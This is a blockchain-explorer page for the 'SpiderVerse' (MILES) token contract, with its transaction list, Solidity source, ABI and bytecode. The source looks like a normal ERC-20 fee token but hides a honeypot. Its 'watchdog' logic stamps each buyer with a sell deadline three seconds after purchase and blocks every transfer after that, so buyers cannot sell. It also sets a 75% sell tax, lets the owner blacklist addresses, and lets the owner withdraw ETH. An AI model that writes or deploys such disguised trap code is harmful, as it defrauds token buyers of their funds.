Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 202 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20544304 | 22 days ago | IN | 0 ETH | 0.00005577 | ||||
Approve | 17695341 | 421 days ago | IN | 0 ETH | 0.0006072 | ||||
Approve | 17640617 | 428 days ago | IN | 0 ETH | 0.00144246 | ||||
Approve | 17621988 | 431 days ago | IN | 0 ETH | 0.0013606 | ||||
Approve | 17527237 | 444 days ago | IN | 0 ETH | 0.00067227 | ||||
Approve | 17523179 | 445 days ago | IN | 0 ETH | 0.0007917 | ||||
Approve | 17492175 | 449 days ago | IN | 0 ETH | 0.00082541 | ||||
Approve | 17484599 | 450 days ago | IN | 0 ETH | 0.00116247 | ||||
Approve | 17466083 | 453 days ago | IN | 0 ETH | 0.00073094 | ||||
Approve | 17463127 | 453 days ago | IN | 0 ETH | 0.00079036 | ||||
Approve | 17462404 | 453 days ago | IN | 0 ETH | 0.00073974 | ||||
Approve | 17458588 | 454 days ago | IN | 0 ETH | 0.00070022 | ||||
Approve | 17456121 | 454 days ago | IN | 0 ETH | 0.00072174 | ||||
Approve | 17454218 | 455 days ago | IN | 0 ETH | 0.00093206 | ||||
Approve | 17454170 | 455 days ago | IN | 0 ETH | 0.00080404 | ||||
Approve | 17453925 | 455 days ago | IN | 0 ETH | 0.00073929 | ||||
Approve | 17453891 | 455 days ago | IN | 0 ETH | 0.00047973 | ||||
Approve | 17453889 | 455 days ago | IN | 0 ETH | 0.00088204 | ||||
Approve | 17453885 | 455 days ago | IN | 0 ETH | 0.00083827 | ||||
Approve | 17453851 | 455 days ago | IN | 0 ETH | 0.00089922 | ||||
Approve | 17453830 | 455 days ago | IN | 0 ETH | 0.00094362 | ||||
Approve | 17453828 | 455 days ago | IN | 0 ETH | 0.00099022 | ||||
Approve | 17453827 | 455 days ago | IN | 0 ETH | 0.00099931 | ||||
Approve | 17453819 | 455 days ago | IN | 0 ETH | 0.00071155 | ||||
Approve | 17453708 | 455 days ago | IN | 0 ETH | 0.00087761 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17454799 | 455 days ago | 0.0087376 ETH | ||||
17454799 | 455 days ago | 0.0087376 ETH | ||||
17454090 | 455 days ago | 0.0209711 ETH | ||||
17454090 | 455 days ago | 0.0209711 ETH | ||||
17453838 | 455 days ago | 0.04451779 ETH | ||||
17453838 | 455 days ago | 0.04451779 ETH | ||||
17452299 | 455 days ago | 0.01184405 ETH | ||||
17452299 | 455 days ago | 0.01184405 ETH | ||||
17451797 | 455 days ago | 0.03160179 ETH | ||||
17451797 | 455 days ago | 0.03160179 ETH | ||||
17451291 | 455 days ago | 0.02882333 ETH | ||||
17451291 | 455 days ago | 0.02882333 ETH | ||||
17451112 | 455 days ago | 0.04407399 ETH | ||||
17451112 | 455 days ago | 0.04407399 ETH | ||||
17450842 | 455 days ago | 0.06287539 ETH | ||||
17450842 | 455 days ago | 0.06287539 ETH | ||||
17450742 | 455 days ago | 0.051606 ETH | ||||
17450742 | 455 days ago | 0.051606 ETH | ||||
17450515 | 455 days ago | 0.0691756 ETH | ||||
17450515 | 455 days ago | 0.0691756 ETH | ||||
17450353 | 455 days ago | 0.09746132 ETH | ||||
17450353 | 455 days ago | 0.09746132 ETH | ||||
17449876 | 455 days ago | 0.02576197 ETH | ||||
17449876 | 455 days ago | 0.02576197 ETH | ||||
17448768 | 455 days ago | 0.07156125 ETH |
Loading...
Loading
Contract Name:
SpiderVerse
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-10 */ // SPDX-License-Identifier: MIT /* TG: https://t.me/SpiderVerseETH WEB: https://spiderversecoin.com Twitter: https://twitter.com/SpiderVerseCoin Medium: https://medium.com/@spiderverseeth */ pragma solidity ^0.8.17; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract SpiderVerse is Context, IERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => bool) public _isBlacklisted; mapping (address => uint256) public _dogSellTime; uint256 private _dogSellTimeOffset = 3; bool public watchdogMode = true; uint256 public _caughtDogs; uint8 private constant _decimals = 9; uint256 private _tTotal = 1_000_000 * (10**_decimals); uint256 public swapThreshold = 5_000 * (10**_decimals); uint256 public maxTxAmount = 25_000 * (10**_decimals); uint256 public maxWallet = 25_000 * (10**_decimals); string private constant _name = "Spider Verse"; string private constant _symbol = "MILES"; struct Tax{ uint8 marketingTax; uint8 lpTax; } struct TokensFromTax{ uint marketingTokens; uint lpTokens; } TokensFromTax public totalTokensFromTax; Tax public buyTax = Tax(25,0); Tax public sellTax = Tax(75,0); address public marketingWallet = 0x748d88ac4407fb7d7c0a547978FeA3DDae7894f0; bool private swapping; uint private _swapCooldown = 5; uint private _lastSwap; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _approve(owner(), address(router), ~uint256(0)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[pair] = true; _isExcludedFromMaxBalance[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} // ========================================== // //============== Owner Functions ===========// function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{ _isBlacklisted[account] = isBlacklisted; } function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i =0; i < accounts.length; i++){ _isBlacklisted[accounts[i]] = state; } } function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 30, "Can't set tax too high"); buyTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 80, "Can't set tax too high"); sellTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{ uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals); require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings"); maxTxAmount = maxTX_EXACT * (10**_decimals); maxWallet = maxWallet_EXACT * (10**_decimals); } function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function owner_rescueTokens() public{ // Make sure ca doesn't withdraw the pending taxes to be swapped. // Sends excess tokens / accidentally sent tokens back to marketing wallet. uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens; require(balanceOf(address(this)) > pendingTaxTokens); uint excessTokens = balanceOf(address(this)) - pendingTaxTokens; _transfer(address(this), marketingWallet, excessTokens); } function owner_setWatchDogg(bool status_) external onlyOwner{ watchdogMode = status_; } function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{ _dogSellTime[holder] = block.timestamp + dTime; } // ========================================// function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell){ tmpTaxes = sellTax; } uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForLP = amount * tmpTaxes.lpTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP; uint totalTaxedTokens = tokensForMarketing + tokensForLP; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade"); if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet."); if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner()) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getTaxValues(amount, from, to == pair); if (from == pair){ if(watchdogMode){ _caughtDogs++; _dogSellTime[to] = block.timestamp + _dogSellTimeOffset; } }else{ if (_dogSellTime[from] != 0) require(block.timestamp < _dogSellTime[from]); } } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndLiquify() private lockTheSwap{ if(totalTokensFromTax.marketingTokens > 0){ uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens); if(ethSwapped > 0){ payable(marketingWallet).transfer(ethSwapped); totalTokensFromTax.marketingTokens = 0; } } if(totalTokensFromTax.lpTokens > 0){ uint half = totalTokensFromTax.lpTokens / 2; uint otherHalf = totalTokensFromTax.lpTokens - half; uint balAutoLP = swapTokensForETH(half); if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP); totalTokensFromTax.lpTokens = 0; } emit SwapAndLiquify(); _lastSwap = block.timestamp; } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity); } event SwapAndLiquify(); event TaxesChanged(); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036009908155600a805460ff19166001178155620000249190620006c5565b6200003390620f4240620006dd565b600c55620000446009600a620006c5565b6200005290611388620006dd565b600d55620000636009600a620006c5565b62000071906161a8620006dd565b600e55620000826009600a620006c5565b62000090906161a8620006dd565b600f556040805180820182526019808252600060209283018190526012805461ffff1990811690931790558351808501909452604b8085529390920191909152601380549091169091179055601480546001600160a01b03191673748d88ac4407fb7d7c0a547978fea3ddae7894f017905560056015553480156200011457600080fd5b50620001203362000434565b600c5433600090815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801562000185573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ab9190620006f7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f9190620006f7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620006f7565b600180546001600160a01b038581166001600160a01b031992831617909255600280548484169216919091179055600054919250620002e291166001546001600160a01b031660001962000484565b600160056000620002fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260059093528183208054851660019081179091556014549091168352908220805490931681179092556006906200036b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155600254821684528284208054861682179055601454909116835291208054909216179055620003dc3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200042491815260200190565b60405180910390a3505062000722565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200054f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000607578160001904821115620005eb57620005eb620005b0565b80851615620005f957918102915b93841c9390800290620005cb565b509250929050565b6000826200062057506001620006bf565b816200062f57506000620006bf565b8160018114620006485760028114620006535762000673565b6001915050620006bf565b60ff841115620006675762000667620005b0565b50506001821b620006bf565b5060208310610133831016604e8410600b841016171562000698575081810a620006bf565b620006a48383620005c6565b8060001904821115620006bb57620006bb620005b0565b0290505b92915050565b6000620006d660ff8416836200060f565b9392505050565b8082028115828204841417620006bf57620006bf620005b0565b6000602082840312156200070a57600080fd5b81516001600160a01b0381168114620006d657600080fd5b61213380620007326000396000f3fe6080604052600436106102295760003560e01c8063768dc71011610123578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b1461070c578063f837ae071461072c578063f887ea401461074c578063f8b45b051461076c578063f9d0ee941461078257600080fd5b8063cfe9dde014610649578063dd62ed3e14610669578063e0a877c8146106af578063ee9a5d82146106c9578063ef07a182146106f657600080fd5b8063a457c2d7116100f2578063a457c2d7146105a6578063a8aa1b31146105c6578063a9059cbb146105e6578063cb0e6f7b14610606578063cc1776d31461062657600080fd5b8063768dc710146105145780638c0b5e22146105445780638da5cb5b1461055a57806395d89b411461057857600080fd5b806339509351116101b15780635966c81e116101755780635966c81e1461045c5780635e278da61461047c57806370a0823114610491578063715018a6146104c757806375f0a874146104dc57600080fd5b8063395093511461039f57806343c39364146103bf5780634ba422bc146103df5780634cf27997146103ff5780634f7041a51461041f57600080fd5b80631b0f9381116101f85780631b0f9381146102e15780631cdd3be31461030357806323b872dd1461033357806328c61f4114610353578063313ce5671461038357600080fd5b80630445b6671461023557806306fdde031461025e578063095ea7b31461029c57806318160ddd146102cc57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024b600d5481565b6040519081526020015b60405180910390f35b34801561026a57600080fd5b5060408051808201909152600c81526b53706964657220566572736560a01b60208201525b6040516102559190611b5c565b3480156102a857600080fd5b506102bc6102b7366004611bcf565b6107b2565b6040519015158152602001610255565b3480156102d857600080fd5b50600c5461024b565b3480156102ed57600080fd5b506103016102fc366004611c0c565b6107c9565b005b34801561030f57600080fd5b506102bc61031e366004611c3f565b60076020526000908152604090205460ff1681565b34801561033f57600080fd5b506102bc61034e366004611c63565b6108b7565b34801561035f57600080fd5b506102bc61036e366004611c3f565b60066020526000908152604090205460ff1681565b34801561038f57600080fd5b5060405160098152602001610255565b3480156103ab57600080fd5b506102bc6103ba366004611bcf565b610909565b3480156103cb57600080fd5b506103016103da366004611cb4565b610940565b3480156103eb57600080fd5b506103016103fa366004611ccf565b61097d565b34801561040b57600080fd5b5061030161041a366004611bcf565b610a63565b34801561042b57600080fd5b506012546104429060ff8082169161010090041682565b6040805160ff938416815292909116602083015201610255565b34801561046857600080fd5b50610301610477366004611cf1565b610ab7565b34801561048857600080fd5b50610301610b62565b34801561049d57600080fd5b5061024b6104ac366004611c3f565b6001600160a01b031660009081526003602052604090205490565b3480156104d357600080fd5b50610301610bc8565b3480156104e857600080fd5b506014546104fc906001600160a01b031681565b6040516001600160a01b039091168152602001610255565b34801561052057600080fd5b506102bc61052f366004611c3f565b60056020526000908152604090205460ff1681565b34801561055057600080fd5b5061024b600e5481565b34801561056657600080fd5b506000546001600160a01b03166104fc565b34801561058457600080fd5b506040805180820190915260058152644d494c455360d81b602082015261028f565b3480156105b257600080fd5b506102bc6105c1366004611bcf565b610bfe565b3480156105d257600080fd5b506002546104fc906001600160a01b031681565b3480156105f257600080fd5b506102bc610601366004611bcf565b610c35565b34801561061257600080fd5b50610301610621366004611c0c565b610c42565b34801561063257600080fd5b506013546104429060ff8082169161010090041682565b34801561065557600080fd5b50610301610664366004611d20565b610d27565b34801561067557600080fd5b5061024b610684366004611df7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106bb57600080fd5b50600a546102bc9060ff1681565b3480156106d557600080fd5b5061024b6106e4366004611c3f565b60086020526000908152604090205481565b34801561070257600080fd5b5061024b600b5481565b34801561071857600080fd5b50610301610727366004611c3f565b610dbd565b34801561073857600080fd5b50610301610747366004611e30565b610e58565b34801561075857600080fd5b506001546104fc906001600160a01b031681565b34801561077857600080fd5b5061024b600f5481565b34801561078e57600080fd5b5060105460115461079d919082565b60408051928352602083019190915201610255565b60006107bf338484610ead565b5060015b92915050565b6000546001600160a01b031633146107fc5760405162461bcd60e51b81526004016107f390611e5c565b60405180910390fd5b60006108088284611ea7565b60ff169050601e8111156108575760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107f3565b60408051808201825260ff85811680835290851660209092018290526012805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b60006108c4848484610fd1565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546108ff9186916108fa908690611ec0565b610ead565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107bf9185906108fa908690611ed3565b6000546001600160a01b0316331461096a5760405162461bcd60e51b81526004016107f390611e5c565b600a805460ff1916911515919091179055565b6000546001600160a01b031633146109a75760405162461bcd60e51b81526004016107f390611e5c565b60006109b56009600a611fca565b6103e8600c5460056109c79190611fd9565b6109d19190611ff0565b6109db9190611ff0565b90508083101580156109ed5750808210155b610a2c5760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b60448201526064016107f3565b610a386009600a611fca565b610a429084611fd9565b600e55610a516009600a611fca565b610a5b9083611fd9565b600f55505050565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b81526004016107f390611e5c565b610a978142611ed3565b6001600160a01b0390921660009081526008602052604090209190915550565b6000546001600160a01b03163314610ae15760405162461bcd60e51b81526004016107f390611e5c565b80471015610b315760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107f3565b604051339082156108fc029083906000818181858888f19350505050158015610b5e573d6000803e3d6000fd5b5050565b601054601154600091610b7491611ed3565b306000908152600360205260409020549091508110610b9257600080fd5b30600090815260036020526040812054610bad908390611ec0565b601454909150610b5e9030906001600160a01b031683610fd1565b6000546001600160a01b03163314610bf25760405162461bcd60e51b81526004016107f390611e5c565b610bfc6000611516565b565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107bf9185906108fa908690611ec0565b60006107bf338484610fd1565b6000546001600160a01b03163314610c6c5760405162461bc